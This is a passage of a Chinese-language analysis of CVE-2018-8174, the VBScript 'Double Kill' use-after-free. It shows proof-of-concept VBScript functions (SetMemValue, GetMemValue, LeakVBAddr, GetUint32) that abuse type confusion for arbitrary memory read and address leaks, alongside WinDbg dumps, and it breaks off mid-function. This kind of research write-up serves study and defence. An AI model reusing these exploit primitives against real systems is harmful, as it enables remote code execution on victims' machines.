CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
    cla4_obj1.mem(spec_int_1+8)=Ili   '将CScriptEntryPoint对象放到spec_int_1+8的位置
    IsEmpty("SetMemValue Finish")   
End Sub
可以这样修改是因为在cla4_obj1.mem已经是一个可以全地址读写的array了,继续, IsEmpty断下后:
//调试
Breakpoint 3 hit
eax=6a5b185c ebx=024bcea0 ecx=6a60a9d8 edx=024bce18 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bcd34 ebp=024bcd44 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a5cc206 8bff            mov     edi,edi
//这个地址就是上面的指向空字符的地址:
0:005> dd 003f9dd4
003f9dd4  00000000 00000000 00000001 000007ff  //从+8的位置保存的便是CScriptEntryPoint对象,这个0x01是vbNull(可查询上方表格)
003f9de4  0055e030 cf0000cf 003f93a4 4b92935b
003f9df4  8c000000 00000001 00000000 00000000
003f9e04  7fffffff 7fffffff 80000001 80000001
003f9e14  00000000 4b929326 88000000 00000000
003f9e24  006e0000 00740069 0062004f 0065006a
003f9e34  00740063 00000073 003f9e4c 4b92932d
003f9e44  88000000 00000018 006e0049 00740069
然后进入GetMemValue函数:
//源码Function GetMemValue
    cla4_obj1.mem(spec_int_1)= 3   '将CScriptEntryPoint对象 的类型改为3 即为Long
    IsEmpty("GetMemValue Finish")
    GetMemValue=cla4_obj1.mem(spec_int_1+ 8)End Function
IsEmpty 断下后:
//调试
0:005> dd poi(esp+c)
0055fe38  00000008 024bcf28 02016a38 03120780
0055fe48  024b0000 0055fe88 024b0001 0055c7e8
0055fe58  024bd194 0055fe88 0055fe68 cf0000cf
0:005> du 02016a38
02016a38  "GetMemValue Finish"   //这是打的断点标记
0:005> dd 003f9dd4        //str_2地址
003f9dd4  00000002 024bcf28 02020003 03120780 //02020003高位保存的03(vbLong)就是赋值的位置,类型改变成功了,但是周围生成的值是哪里来的(这些值是不影响的但是就是没搞清楚来源)?
003f9de4  0055e030 cf0000cf 003f93a4 4b92935b //+8的位置没有变
003f9df4  8c000000 00000001 00000000 00000000
003f9e04  7fffffff 7fffffff 80000001 80000001
003f9e14  00000000 4b929326 88000000 00000000
003f9e24  006e0000 00740069 0062004f 0065006a
003f9e34  00740063 00000073 003f9e4c 4b92932d
003f9e44  88000000 00000018 006e0049 00740069
在GetMemValue=cla4_obj1.mem(spec_int_1+ 8)这一步把0055e030的值给了GetMemValue,GetMemValue赋值给了LeakVBAddr ,以上整个 LeakVBAddr 函数过程得到了 vbLong 型的 CScriptEntryPoint对象地址
我们在 StartExploit 中确认一下是否正确
UAF
InitObjects
vb_adrr=LeakVBAddr()
IsEmpty(vb_adrr)  //确认IsEmpty的值
在 IsEmpty 中断下:
Breakpoint 3 hit
eax=6a5b185c ebx=024bd328 ecx=6a60a9d8 edx=024bd2a0 esi=02016a68 edi=00000001
eip=6a5cc206 esp=024bd1bc ebp=024bd1cc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a5cc206 8bff            mov     edi,edi
0:005> dd poi (esp+c)
0055fe88  02020003 03120780 0055e030 cf0000cf //的确是我们上面得到的类对象地址
0055fe98  024b0000 0055ffa8 00000000 00000000
0055fea8  024bd61c 0055ffa8 02021598 00000000
0:005> ln poi(0055e030)
(6a5b4934)   vbscript!CScriptEntryPoint::`vftable'   |  (6a5cab54)   vbscript!CEntryPointDispatch::`vftable'
Exact matches:
    vbscript!CScriptEntryPoint::`vftable' =
3.4 关键地址的获取
3.4.1 获取虚函数表地址
先看 PoC 中的GetUint32函数:
//函数参数为对象地址,然后该函数返回的是这个对象的虚函数表地址
Function GetUint32(addr)   
    Dim value
 IsEmpty("enter GetUint32")
    cla4_obj1.mem(spec_int_1+8)=addr+4  '原本存放CScriptEntryPoint对象的位置 存放 该对象地址+4
 IsEmpty("spec_int_1+8")
    cla4_obj1.mem(spec_int_1)=8         '改为字符串 type string
 IsEmpty("type string")
    value=cla4_obj1.P0123456789
 IsEmpty(value)
    cla4_obj1.mem(spec_int_1)=2   '改为 整型 type vbInteger
 IsEmpty("type vbInteger")
    GetUint32=value    

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页